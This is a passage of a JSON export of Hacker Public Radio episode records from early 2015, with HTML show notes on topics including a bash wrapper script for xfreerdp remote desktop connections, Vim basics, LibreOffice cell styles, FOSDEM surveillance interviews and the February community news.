                                                            \nTeeth with gum disease, notice that the gum doesn't form a sharp point between the teeth\nhttps://www.kmperio.co.uk/editor/assets/049B193B-857E-4FE7-BAC6-48F695DEFCBE.JPG\n

                                                            \n

                                                            \nHealthy gums, gum forms a sharp point between teeth.\nhttps://www.wisdomtoothbrushes.com/sites/default/files/styles/475_width/public/wisdom-oral-health-healthy-gums.jpg?itok=-KhFJ6Pb\n

                                                            ","hostid":201,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"gum disease,Periodontitis,Interdental tooth brush","version":0,"downloads":0,"valid":1}, {"id":1710,"date":"2015-02-20","title":"Windows Remote Desktop on GNU/Linux","duration":679,"summary":"A wrapper script for xfreerdp to make connecting to windows servers painless","notes":"

                                                            \nRecorded using Easy Voice Recorder Pro\n

                                                            \n

                                                            I wrote a bash script to connect to various different windows servers from my GNU/Linux desktops. I had a few different requirements:

                                                            \n
                                                              \n
                                                            • I should be able to call it based on hostname.
                                                            • \n
                                                            • All windows should be 90% smaller than my screen.
                                                            • \n
                                                            • It should map my keyboard.
                                                            • \n
                                                            • It should map my local disk.
                                                            • \n
                                                            • It should quickly timeout if the port is not available.
                                                            • \n
                                                            \n

                                                            You can get the full script here, but let’s walk through it:

                                                            \n

                                                            The first line calls bash and then gets the server name from the symlink that is calling the script. The port is set as “3389”, but you can change that if you like.\n

                                                            \n
                                                            \n#!/bin/bash\nSERVER=`basename $0`\nPORT=\"3389\"\n
                                                            \n

                                                            The next few lines finds the smallest vertical and horizontal sizes, even if you are running multiple screens. Then it calculates 90% of that to use as the size.

                                                            \n
                                                            \nh=$(echo \"scale=0;(($(xrandr | grep '*+' | sed 's/x/ /g' | awk '{print $1}' | sort -n | head -1 )/100)*90)\" | bc)\nv=$(echo \"scale=0;(($(xrandr | grep '*+' | sed 's/x/ /g' | awk '{print $2}' | sort -n | head -1 )/100)*90)\" | bc)\nSIZE=${h}x${v}\n
                                                            \n

                                                            Next we set the default username and password. I have it ask me for my password but I put it in here as an example.

                                                            \n
                                                            \nPASSWORD='defaultpassword'\nUSERNAME='administrator'\nWORKGROUP='workgroup'\n
                                                            \n

                                                            In some cases the credentials may be different, so I have a case statement that will cycle through the servers and apply the differences. Depending on your naming schemes you may be able to use regular expressions here to filter out groups of servers.

                                                            \n
                                                            \ncase \"${SERVER}\" in\n  *server*) echo \"Server ${SERVER}\"\n    PASSWORD='work_password'\n    USERNAME='administrator'\n    WORKGROUP='WORKGROUP'\n    ;;\n \n  *colo*) echo \"Server ${SERVER}\"\n    PASSWORD='colo_server_password'\n    USERNAME='administrator'\n    WORKGROUP='COLODOMAIN'\n    ;;\n     \n  some_server ) echo \"Server ${SERVER}\"\n    PASSWORD='some_server_password'\n    USERNAME='some_server_password'\n    ;;\n  *) echo \"No match for ${SERVER}, using defaults\"\n    ;;\nesac\n
                                                            \n

                                                            Next we use an inbuilt bash command to see if a remote port is open and timeout after one second.

                                                            \n
                                                            \ntimeout 1 bash -c \"echo >/dev/tcp/${SERVER}/${PORT}\"\n
                                                            \n

                                                            I used to connect to rdp using the program rdesktop, but it is now of limited value due to the fact that there are many open bugs that are not getting fixed. Bugs such as Bug 1075697 - rdesktop cannot connect to systems using RDP version 6 or newer and Bug 1002978 - Failed to negotiate protocol, retrying with plain RDP . I then switch to using xfreerdp. This is the client that is behind remmina.

                                                            \n\n

                                                            You can use xfreerdp /kbd-list to get a list of the available keyboard layouts.

                                                            \n
                                                            \nif [ $? -eq 0 ]; then\n  echo \"${SERVER}:${PORT} is open\"\n  xfreerdp /v:${SERVER} /size:${SIZE} /kbd-type:0x00000409 /t:${SERVER} /d:${WORKGROUP} /u:${USERNAME} /p:${PASSWORD} /a:drive,pc,/ /cert-ignore &\nelse\n  echo \"${SERVER}:${PORT} is closed\"\nfi\n
                                                            \n\n

                                                            Next you will need to be sure that your host names are available, either in dns or in your /etc/hosts/ file. For example:

                                                            \n
                                                            10.1.0.1 server1\n10.1.0.2 server2\n10.1.0.3 server3\n10.2.0.1 coloserver1\n10.2.0.2 coloserver2\n10.2.0.3 coloserver3\n192.168.1.1 some_server\n
                                                            \n

                                                            Edit the script to your liking and then put it into your a directory in your path, possibly /usr/local/bash or ~/bin/. You can then make symbolic links to the servers to the bash script, also in a directory in your path, using the command:

                                                            \n
                                                            ln -s /usr/local/bash/rdp.bash ~/bin/some_server\nchmod +x ~/bin/some_server\n
                                                            \n

                                                            Which links the global rdp.bash script to your personal symlink, and makes it executable.

                                                            \n

                                                            All that you need to do then is type the name of the server and a rdp screen should pop up.

                                                            \n

                                                            In our example:

                                                            \n
                                                            $ some_server\n
                                                            \n

                                                            From there your Windows Server session should pop up.

                                                            ","hostid":30,"series":42,"explicit":0,"license":"CC-BY-SA","tags":"bash,xfreerdp,rdesktop,remmina","version":0,"downloads":0,"valid":1}, {"id":1711,"date":"2015-02-23","title":"Problems with video software in Linux","duration":827,"summary":"A person new to Linux is introduced to video software that was unimpressive","notes":"

                                                            \nCheese:
                                                            \nGuvcviewer:\n

                                                            ","hostid":297,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"linux, video software, ubuntu","version":0,"downloads":0,"valid":1}, {"id":1712,"date":"2015-02-24","title":"What's in my Crate","duration":1228,"summary":"What was in my crate when I went to a LUG to give a a11y presentation","notes":"

                                                            \nBack in the summer of 2014 I started going to the Surrey Linux User Group.\n

                                                            \n

                                                            \nI was asked to give a short presentation about Linux accessibility and how,\nalthough I am totally blind, I still write code and muck about with Linux.\n

                                                            \n

                                                            \nI was then asked to give the same presentation at the Portsmouth LUG.\n

                                                            \n

                                                            \nThis time I made it more comprehensive and took more kit.\n

                                                            \n

                                                            \nSo I take this opportunity to give my version of the \"What's in my bag\"\nshows that some folks have been doing. As I am unemployed, like a lot of blind\nfolks, I have been unable to justify this before now because I don't lug\nan interesting collection of stuff to and from work.\n

                                                            \n

                                                            \nHere's a simple bullet list about the crate and it's contents:\n

                                                            \n\n
                                                              \n
                                                            • The crate is a 35 litre capacity 'Really Useful Box'\n
                                                            • \n
                                                            • First in were 2 Dell Latitude D630 (64-bit) laptops\n
                                                            • \n
                                                            • Next in was a Dell Inspiron (32-bit) laptop, clunky and slow\n
                                                            • \n
                                                            • The three laptops were sandwhiched between 3-ply layers of bubble-wrap\n
                                                            • \n
                                                            • Next in was a Seika 40-cell refreshable Braille display\n
                                                            • \n
                                                            • Next was a clear polycarbonate, zip-up pencil case stuffed with audio leads\n
                                                            • \n
                                                            • Then a 'Mesh' Bluetooth and line-in external speaker\n
                                                            • \n
                                                            • And a Braun external speaker/FM radio/micro-SD boom-box\n
                                                            • \n
                                                            • A four-way mains power splitter\n
                                                            • \n
                                                            • The three AC adaptors for the laptops\n
                                                            • \n
                                                            • On the top of the box, because it was too wide to go in, was a USB keyboard\n
                                                            • \n
                                                            • Mobile phone charging battery 'brick', for the Raspberry Pi\n
                                                            • \n
                                                            • A Raspberry Pi, a Banana Pi and some Arduino bits and pieces\n
                                                            • \n
                                                            \n\n

                                                            \nHere's what I demonstrated with two of the laptops:\n

                                                            \n\n
                                                              \n
                                                            • Trisquel Linux and accessibility in the Gnome desktop with Orca\n
                                                            • \n
                                                            • Accessibility in the console with Debian and the Braille display on the Inspiron\n
                                                            • \n
                                                            \n\n

                                                            \nThe second Latitude was with me so I could get some sighted help with\nBIOS settings.\n

                                                            \n

                                                            \nMy thanks have to go to Tony Wood for the lift to and from both of these\naccessibility presentations. I could not have done either, especially the Portsmouth one without his help.\n

                                                            \n

                                                            \nThanks also to Lisi, the coordinator of the Portsmouth LUG and to the folks of that LUG for their enthusiasm.\n

                                                            \n

                                                            \nHere's the link to the HPR show about my Raspberry Pi tts code fix:\n

                                                            \n

                                                            \nhttps://hackerpublicradio.org/eps.php?id=1649\n

                                                            ","hostid":282,"series":23,"explicit":1,"license":"CC-BY-SA","tags":"Accessibility, Linux, LUG","version":0,"downloads":0,"valid":1}, {"id":1713,"date":"2015-02-25","title":"Fosdem 2015: Surveillance vs. Free Software","duration":1246,"summary":"Interviews at the Free and Open Source devleopers meeting FOSDEM in Brussels.","notes":"

                                                            Aaron Williamson

                                                            \n\n

                                                            \nFree Software Law Expert Aaron Williamson held a brilliant talk on the history of internet surveillance in the USA at FOSDEM 2015. \nAfter the Paris terror attacks, many politicians want to increase surveillance. British Prime Minister David Cameron wants to read all our emails - even the encrypted ones. Is this the only answer to terror attacks? Aaron has a very strong opinion on this. \n

                                                            \n\n\n\n

                                                            Mathias Kirschner, Free Software Foundation Europe

                                                            \n\n

                                                            \nMatthias is the Vicepresident of the Free Software Foundation Europe. In our interview at Fosdem 2015, he explains the work and the goal of the foundation and how they do lobbying for Free Software in parliaments and government bodies.\n

                                                            \n\n\n\n

                                                            Torproject - nos ognions

                                                            \n\n

                                                            \nA member of nos-ognions.net, which is part of the Tor project, explains about exit nodes, transparency and surveillance.\n

                                                            \n\n","hostid":285,"series":78,"explicit":0,"license":"CC-BY-SA","tags":"Fosdem, Surveillance, Free Software","version":0,"downloads":0,"valid":1}, {"id":1714,"date":"2015-02-26","title":"Vim Hints 001","duration":1070,"summary":"Hints and Tips for Vim users - part 1","notes":"

                                                            Introduction to Vim

                                                            \n

                                                            This is the start of the Vim Hints series.

                                                            \n

                                                            As a Linux user there are many editors available to you. Which one you want to use depends on your needs and the amount of time you want to dedicate to learning how to use it.

                                                            \n

                                                            One of the editors from the early days of Unix is vi, written in 1976. Contemporary with it is Emacs, also originating in 1976. However, it seemed to become the norm (in my experience anyway) that vi rather than Emacs was provided as standard with versions of Unix, and this has often continued into Linux.

                                                            \n

                                                            I originally started using Unix around 1988 and found vi available to me. I learnt how to use it in a rudimentary way since I knew I'd find it on any Unix systems I came across.

                                                            \n

                                                            Many derivatives and clones of vi have been created. The one which has become the most popular and available is Vim, the name of which is an acronym for Vi IMproved, created in 1991 by Bram Moolenaar. This is what I use, and I have not wanted to learn another editor since adopting it, even though I have experimented with several. This is the editor we will be looking at in this series.

                                                            \n

                                                            What's the series about?

                                                            \n

                                                            The thinking behind this series is:

                                                            \n
                                                              \n
                                                            • You may already be using Vim; there are features you may not be aware of that can be revealed here
                                                            • \n
                                                            • You may be using a different, simpler editor; you might want to use Vim and gain from its advanced features
                                                            • \n
                                                            \n

                                                            Of course, you may prefer to learn Emacs instead. That's fine; you should choose the tool that best suits your needs. Both Emacs and Vim have quite steep learning curves, but the broad range of capabilities you gain from knowing either is considerable.

                                                            \n

                                                            I am not an expert in Vim. In fact I am continuing to learn new Vim features on a regular basis. However, I have been using it for many years and would like to share some of what I have learnt.

                                                            \n

                                                            Why use Vim?

                                                            \n

                                                            With simpler editors you can move about a file, add, remove and change text and save the results. The editor might have syntax highlighting and some degree of knowledge of the programming language you are typing. You might have spell checking as well.

                                                            \n

                                                            With Vim and other more advanced editors you have all of this and a lot more. You can perform global changes throughout a file, process many files at once, add plugins to the editor to change its behaviour, and so on. Also, there is a language behind the scenes which can be used to build extensions.

                                                            \n

                                                            Using Vim

                                                            \n

                                                            Usually, typing the command vi at the command line actually invokes vim. Vim runs in vi-compatible mode by default, which results in Vim enhancements being unavailable.

                                                            \n

                                                            Vim uses a configuration file, which is called .vimrc on Linux. (Vim will also run on Windows, OSX and other operating systems but we will not be covering these implementations in this series.) Vim also has a GUI interface invoked by the command gvim, and it has its own configuration file .gvimrc.

                                                            \n

                                                            I you don't have a .vimrc create one with touch ~/.vimrc before you start. This will stop Vim running in vi-compatible mode. We will look at what the .vimrc can be used to do later.

                                                            \n

                                                            You can start Vim on its own without pointing at a file, but normally you use it to edit a file, which need not already exist. So, to create a new file called testfile invoke Vim with the command: vim testfile

                                                            \n

                                                            Once running, Vim shows the contents of the file. All the lines on the screen where there is no content are marked with a tilde "~" character. If you are creating a file the first line on the screen will be blank, and last line will contain the name of the file followed by "[New File]" and some other details which we will examine later:

                                                            \n
                                                            "testfile" [New File]       0,0-1         All
                                                            \n

                                                            All the rest of the lines will contain a tilde.

                                                            \n

                                                            Vim is a modal editor. The mode you usually start in is normal mode where you can move around the lines of the file and perform actions, but nothing you type is actually written to the file. In fact, the keys you type are actually editing commands. This is one of the features of Vim that causes problems for new users.

                                                            \n

                                                            Since this is a new file there is not much you can do other than enter text, and to do this you need to switch to insert mode. Do this by pressing the i key. The message -- INSERT -- will appear on the bottom line of the screen. Now type some text, pressing the Enter key at the end of each line.

                                                            \n

                                                            You might notice that in insert mode you can press the arrow keys and move back to text you have already typed. This is a Vim feature and was not available in the original vi editor.

                                                            \n

                                                            When you have finished entering text, press the Esc key to exit from insert mode. Now you can move around in normal mode, but remember that the keys you press are now commands not data to be entered into the file.

                                                            \n

                                                            To move around in normal mode use the arrow keys or the home row keyboard keys: k to move up, j to move down, h to move left and l to move right.

                                                            \n

                                                            This brings us to the last mode we'll look at: command mode. To enter this mode press the : (colon) key in normal mode. This moves the cursor to the last line of the screen, which starts with the colon you just typed. Here you can enter another class of commands. This time, we'll just look at how you can save the file and exit Vim.

                                                            \n

                                                            Saving the file is achieved with the w command, and to exit from Vim the q command is used. These can be typed together, so :wq writes the file and exits.

                                                            \n

                                                            If you were to use :q on its own, having entered data into Vim, this would not work. Vim prevents you from throwing away your work this way. If you really meant to quit without saving then the q must be followed by an exclamation mark ("!"). So :q! lets you exit Vim without saving.

                                                            \n

                                                            Summary so far

                                                            \n
                                                              \n
                                                            • Vim usually starts in normal mode
                                                            • \n
                                                            • Arrow keys or h, j, k and l for left, down, up and right for navigation in normal mode
                                                            • \n
                                                            • i enters insert mode
                                                            • \n
                                                            • Esc exits from insert mode and reverts to normal mode
                                                            • \n
                                                            • : in normal mode enters command mode
                                                            • \n
                                                            • :w in normal mode writes the file
                                                            • \n
                                                            • :wq in normal mode writes and exits
                                                            • \n
                                                            • :q in normal mode exits but only if nothing was changed or added
                                                            • \n
                                                            • :q! in normal mode exits regardless of any changes
                                                            • \n
                                                            \n

                                                            Errata

                                                            \n
                                                              \n
                                                            • I was wrong about the contents of the last line of the Vim screen in the audio. The notes have been corrected.
                                                            • \n
                                                            \n

                                                            Links

                                                            \n

                                                            History

                                                            \n\n

                                                            Books

                                                            \n\n

                                                            Other resources

                                                            \n\n","hostid":225,"series":82,"explicit":1,"license":"CC-BY-SA","tags":"vim,gvim,editor","version":0,"downloads":0,"valid":1}, {"id":1715,"date":"2015-02-27","title":"48 - LibreOffice Calc - Cell Styles","duration":897,"summary":"How to use Cell Styles to control the appearance of your cells.","notes":"

                                                            \nOur next topic is Cell Styles. If you are already familiar with Styles from Writer, think of Cell Styles as the equivalent of Writers Paragraph Styles. Just as a single Writer document can have a variety of Paragraph Styles applied to different paragraphs (e.g. Headings, Lists, Paragraphs), a single spreadsheet can have multiple Cell Styles. And the same arguments for using Styles also apply. If you have consistently used Cell Styles in your spreadsheet, you can update the appearance easily just by changing the Style instead of needing to go through the file looking for every cell that needs to be adjusted. And by using Styles you can apply a large number of formatting choices to many cells with just a few mouse clicks. So it really does pay to learn how to use Cell Styles.\n

                                                            \n\n","hostid":198,"series":70,"explicit":0,"license":"CC-BY-SA","tags":"LibreOffice, Calc, Spreadsheet, Cells, Styles","version":0,"downloads":0,"valid":1}, {"id":1716,"date":"2015-03-02","title":"HPR Community News for February 2015","duration":5292,"summary":"Dave and Ken host the Community News","notes":"

                                                            New hosts

                                                            \n

                                                            Welcome to our new hosts:
                                                            Kevie, swift110.

                                                            \n

                                                            Last Month's Shows

                                                            \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n
                                                            IdDateTitleHost
                                                            16962015-02-02HPR Community News for January 2015HPR Volunteers
                                                            16972015-02-03FOSDEM 2015 Friday Night and Saturday Morning 1 of 5Ken Fallon
                                                            16982015-02-04FOSDEM 2015 Part 2 of 5Ken Fallon
                                                            16992015-02-05FOSDEM 2015 Part 3 of 5Ken Fallon
                                                            17002015-02-06Today with a Techie episode two thousandKen Fallon
                                                            17012015-02-09FOSDEM 2015 Part 4 of 5Ken Fallon
                                                            17022015-02-10FOSDEM 2015 Part 5 of 5Ken Fallon
                                                            17032015-02-11Open Source CD RippersKevie
                                                            17042015-02-12Introducing Jeffrey Powers aka Geekazinedaw
                                                            17052015-02-1347 - LibreOffice Calc - Page Styles and Page SettingsAhuka
                                                            17062015-02-16Cross-compilers part 1Mike Ray
                                                            17072015-02-17A tour round my desktopBeeza
                                                            17082015-02-18GNU/Nano EditorJWP
                                                            17092015-02-19Hacking Your TeethMrX
                                                            17102015-02-20Windows Remote Desktop on GNU/LinuxKen Fallon
                                                            17112015-02-23Problems with video software in Linuxswift110
                                                            17122015-02-24What's in my CrateMike Ray
                                                            17132015-02-25Fosdem 2015: Surveillance vs. Free Software2BFrank
                                                            17142015-02-26Vim Hints 001Dave Morriss
                                                            17152015-02-2748 - LibreOffice Calc - Cell StylesAhuka
                                                            \n

                                                            Mailing List discussions

                                                            \n

                                                            Policy decisions surrounding HPR are taken by the community as a whole. This discussion takes place on the Mail List which is open to all HPR listeners and contributors. The discussions are open and available on the Gmane archive.

                                                            \n

                                                            The main threads this month were:

                                                            \n
                                                              \n
                                                            1. From: Charles Thayer <catintp@...>
                                                              Date: 2015-02-01 03:59:07 UTC
                                                              Subject: HackerPublicRadio.com (squatter-occupied look-alike site): Domain Available?
                                                              Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/712
                                                              Messages: 3
                                                              \n
                                                              \n
                                                            2. \n
                                                            3. From: Patrick Dailey <pdailey03@...>
                                                              Date: 2015-02-04 22:04:43 -0500
                                                              Subject: AudioBookClub
                                                              Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/714
                                                              Messages: 4
                                                              \n
                                                              \n
                                                            4. \n
                                                            5. From: Ivan Privaci <epicanis+hpr@...>
                                                              Date: 2015-02-08 21:23:54 -0500
                                                              Subject: I ain'tnt dead yet: quick question (well, a couple)
                                                              Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/718
                                                              Messages: 15
                                                              \n
                                                              \n
                                                            6. \n
                                                            7. From: Ivan Privaci <epicanis+hpr@...>
                                                              Date: 2015-02-09 19:14:56 -0500
                                                              Subject: \"HPR Dodgers, in the 21th-and-a-half centuryyyyy.....\" (Future HPR features)
                                                              Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/726
                                                              Messages: 2
                                                              \n
                                                              \n
                                                            8. \n
                                                            9. From: Ken Fallon <ken@...>
                                                              Date: 2015-02-11 13:34:35 +0100
                                                              Subject: Wed 2015-04-01: hpr1738 Reserved: Open Systems Interconnection (OSI) model (ISO/IEC 7498-1).
                                                              Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/736
                                                              Messages: 1
                                                              \n
                                                              \n
                                                            10. \n
                                                            11. From: Ken Fallon <ken@...>
                                                              Date: 2015-02-12 15:08:12 +0100
                                                              Subject: Fwd: Cross-Promotional Opportunties
                                                              Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/737
                                                              Messages: 14
                                                              \n
                                                              \n
                                                            12. \n
                                                            13. From: \"O'Brien, Kevin\" <zwilnik@...>
                                                              Date: 2015-02-12 14:03:18 -0500
                                                              Subject: Kudos for FOSDEM coverage
                                                              Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/741
                                                              Messages: 1
                                                              \n
                                                              \n
                                                            14. \n
                                                            15. From: lostnbronx <lostnbronx@...>
                                                              Date: 2015-02-12 15:31:56 -0700
                                                              Subject: Re: Cybrary Cross-Promotional Offer
                                                              Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/745
                                                              Messages: 1
                                                              \n
                                                              \n
                                                            16. \n
                                                            17. From: Ken Fallon <ken@...>
                                                              Date: 2015-02-14 15:05:04 +0100
                                                              Subject: hobbypublicradio.[com|net|org]
                                                              Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/750
                                                              Messages: 2
                                                              \n
                                                              \n
                                                            18. \n
                                                            19. From: Ivan Privaci <epicanis+hpr@...>
                                                              Date: 2015-02-19 11:10:33 -0500
                                                              Subject: Minor website bug report
                                                              Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/752
                                                              Messages: 1
                                                              \n
                                                              \n
                                                            20. \n
                                                            21. From: Mike Ray <mike@...>
                                                              Date: 2015-02-19 21:09:49 UTC
                                                              Subject: Topic request
                                                              Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/753
                                                              Messages: 7
                                                              \n
                                                              \n
                                                            22. \n
                                                            23. From: Dave Morriss <perloid@...>
                                                              Date: 2015-02-23 07:55:12 UTC
                                                              Subject: HPR Community News - next Saturday on 2015-02-28T18:00:00Z
                                                              Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/760
                                                              Messages: 1
                                                              \n
                                                              \n
                                                            24. \n
                                                            25. From: Fifty OneFifty <fiftyonefifty@...>
                                                              Date: 2015-02-25 01:58:02 -0600
                                                              Subject: Is anyone else having trouble submitting shows?
                                                              Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/761
                                                              Messages: 10
                                                              \n
                                                              \n
                                                            26. \n
                                                            27. From: Joshua Knapp <jknapp85@...>
                                                              Date: 2015-02-26 09:03:38 -0800
                                                              Subject: Added some firewall rules and IDS to the server
                                                              Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/771
                                                              Messages: 1
                                                              \n
                                                              \n
                                                            28. \n
                                                            \n

                                                            Total messages this month: 63

                                                            \n

                                                            Comments this month

                                                            \n

                                                            There are 17 comments:

                                                            \n
                                                              \n
                                                            • hpr1522 (2014-06-03) \"How to Use Docker and Linux Containers\" by klaatu.
                                                                \n
                                                              1. Windigo on 2015-02-16:\"Creating a bridge interface\"
                                                              2. \n
                                                              \n
                                                              \n
                                                            • \n
                                                            • hpr1636 (2014-11-10) \"How I make coffee\" by Dave Morriss.
                                                                \n
                                                              1. 1093i3511 on 2015-02-19:\"[no title]\"
                                                              2. \n
                                                              3. Dave Morriss on 2015-02-20:\"Rommelsbacher EKO 366/E\"
                                                              4. \n
                                                              \n
                                                              \n
                                                            • \n
                                                            • hpr1683 (2015-01-14) \"Theater of the Imagination: Part 06\" by lostnbronx.
                                                                \n
                                                              1. Charles on 2015-02-27:\"Patronage as an alternative to marketplaces?\"
                                                              2. \n
                                                              \n
                                                              \n
                                                            • \n
                                                            • hpr1687 (2015-01-20) \"Podcast recommendations\" by Thaj Sara.
                                                                \n
                                                              1. Mark Waters on 2015-02-03:\"Thanks\"
                                                              2. \n
                                                              \n
                                                              \n
                                                            • \n
                                                            • hpr1699 (2015-02-05) \"FOSDEM 2015 Part 3 of 5\" by Ken Fallon.
                                                                \n
                                                              1. FiftyOneFifty on 2015-02-05:\"Play dat funky music\"
                                                              2. \n
                                                              3. Mike Ray on 2015-02-05:\"Thanks for asking the right questions\"
                                                              4. \n
                                                              \n
                                                              \n
                                                            • \n
                                                            • hpr1700 (2015-02-06) \"Today with a Techie episode two thousand\" by Ken Fallon.
                                                                \n
                                                              1. Mike Ray on 2015-02-06:\"Such a parcel of rogues\"
                                                              2. \n
                                                              3. FiftyOneFifty on 2015-02-06:\"Thanks for the memories\"
                                                              4. \n
                                                              5. Mikael on 2015-02-10:\"Thank you, Ken\"
                                                              6. \n
                                                              7. Epicanis on 2015-02-11:\"Not what I was expecting...\"
                                                              8. \n
                                                              9. JM on 2015-02-12:\"great work!!\"
                                                              10. \n
                                                              \n
                                                              \n
                                                            • \n
                                                            • hpr1702 (2015-02-10) \"FOSDEM 2015 Part 5 of 5\" by Ken Fallon.
                                                                \n
                                                              1. borgu on 2015-02-11:\"reactos moar!\"
                                                              2. \n
                                                              \n
                                                              \n
                                                            • \n
                                                            • hpr1703 (2015-02-11) \"Open Source CD Rippers\" by Kevie.
                                                                \n
                                                              1. Ken Fallon on 2015-02-13:\"K3b\"
                                                              2. \n
                                                              3. Charles on 2015-02-25:\"[no title]\"
                                                              4. \n
                                                              \n
                                                              \n
                                                            • \n
                                                            • hpr1707 (2015-02-17) \"A tour round my desktop\" by Beeza.
                                                                \n
                                                              1. Marshal Mellow on 2015-02-22:\"Good job\"
                                                              2. \n
                                                              \n
                                                              \n
                                                            • \n
                                                            • hpr1710 (2015-02-20) \"Windows Remote Desktop on GNU/Linux\" by Ken Fallon.
                                                                \n
                                                              1. johanv on 2015-02-26:\"Nice!\"
                                                              2. \n
                                                              \n
                                                            • \n
                                                            ","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":1717,"date":"2015-03-03","title":"Visualizing electricity","duration":687,"summary":"Trying to understand electricity.","notes":"

                                                            Current

                                                            \n\n
                                                              \n
                                                            • Amps (what it's measured in)\n
                                                            • \n
                                                            • amount of water. (what i compare it to)\n
                                                            • \n
                                                            \n\n

                                                            Volts

                                                            \n\n
                                                              \n
                                                            • voltage (what its measured in)\n
                                                            • \n
                                                            • pressure (what i compare it to)\n
                                                            • \n
                                                            \n\n

                                                            Resistor

                                                            \n\n
                                                              \n
                                                            • Ohms (what it's measured in)\n
                                                            • \n
                                                            • valve (what i compare it to)\n
                                                            • \n
                                                            ","hostid":298,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"amps,voltage,ohms","version":0,"downloads":0,"valid":1}, {"id":1718,"date":"2015-03-04","title":"What's In My Pickup Toolbox","duration":1587,"summary":"What's In Fifty One Fifty's Pickup Toolbox","notes":"

                                                            \nThe mystery of my pickup toolbox.\n

                                                            ","hostid":131,"series":23,"explicit":0,"license":"CC-BY-SA","tags":"tools,toolbox","version":0,"downloads":0,"valid":1}, {"id":1719,"date":"2015-03-05","title":"The Linux Tree Command","duration":848,"summary":"The Linux Tree Command and its uses","notes":"

                                                            tree - list contents of directories in a tree-like format.

                                                            \n

                                                            Synopsis

                                                            \n

                                                            tree [-adfghilnopqrstuvxACDFNS] [-L level [-R]] [-H baseHREF] [-T title] [-o\nfilename] [--nolinks] [-P pattern] [-I pattern] [--inodes] [--device] [--noreport]\n[--dirsfirst] [--version] [--help] [--filelimit #] [directory ...]\n

                                                            \n

                                                            Description

                                                            \n\n

                                                            Tree is a recursive directory listing program that produces a depth indented listing of files. Color is supported ala dircolors if the\nLS_COLORS environment variable is set, output is to a tty, and the -C flag is used. With no arguments, tree lists the files in the current\ndirectory. When directory arguments are given, tree lists all the files and/or directories found in the given directories each in turn. Upon completion\nof listing all files/directories found, tree returns the total number of files and/or directories listed.\n

                                                            By default, when a symbolic link is encountered, the path that the symbolic link refers to is printed after the name of the link in the format:\n\n

                                                            name -> real-path\n

                                                            If the '-l' option is given and the symbolic link refers to an actual directory, then tree will follow the path of the symbolic link as if it\nwere a real directory.\n

                                                            \n

                                                            \nhttps://linux.die.net/man/1/tree\n

                                                            ","hostid":129,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"tree command","version":0,"downloads":0,"valid":1}, {"id":1720,"date":"2015-03-06","title":"15 Certificate Issues and Solutions","duration":1091,"summary":"A look at the problems that SSL certificates can have, and offers some solutions","notes":"

                                                            \nLast time we looked at some basics about how TLS and SSL work, and saw that this is basically an application of the same technology used to encrypt e-mails. But we also noted that there are some problems with this approach. We need to recognize that in security there is never a permanent solution, and that vulnerabilities are constantly being discovered, and ideally then being fixed. Some of these may involve highly technical issues about cryptographic methods, but I think the largest category of issues is about the processes around the use of certificates.\nFor more go to https://www.zwilnik.com/?page_id=686\n

                                                            \n\n

                                                            Links:

                                                            \n\n","hostid":198,"series":74,"explicit":0,"license":"CC-BY-SA","tags":"TLS, SSL, Certificates","version":0,"downloads":0,"valid":1}, {"id":1721,"date":"2015-03-09","title":"Cross-compilers Part 2","duration":2832,"summary":"Using one of our cross-compilers to compile a Raspberry Pi kernel","notes":"

                                                            \nIn part 1 I described cross-compiling, what it means and why you might\nwant to, or even need to use it.\n

                                                            \n

                                                            \nI also described how to create a cross-compiler tool-chain using crosstool-ng.\n

                                                            \n

                                                            \nIn this show I will demonstrate using one of the cross-compilers which\nI created as described in the last show to compile a Raspberry Pi Linux kernel.\n

                                                            \n

                                                            \nAs usual with my shows the show-notes can't be squashed into 4k, so there is an HTML version at:\n

                                                            \n\n","hostid":282,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"raspberry pi,kernel,cross-compilation,make","version":0,"downloads":0,"valid":1}, {"id":1722,"date":"2015-03-10","title":"Kansas Linux Fest 2015, March 21-22, Lawrence KS","duration":367,"summary":"We wish to announce a new Linux Fest to serve the Midwest","notes":"

                                                            \nWe are pleased to announce the first annual Kansas Linux Fest (https://KansasLinuxFest.us), hashtag #KLF15. It will be hosted by the Lawrence Public Library, Lawrence Kansas, March 21-22, 2015. The Kansas Linux Fest is a project of the Free/Libre Open Source and Open Knowledge Association of Kansas (https://www.openkansas.us) and other organizations. \n

                                                            \n

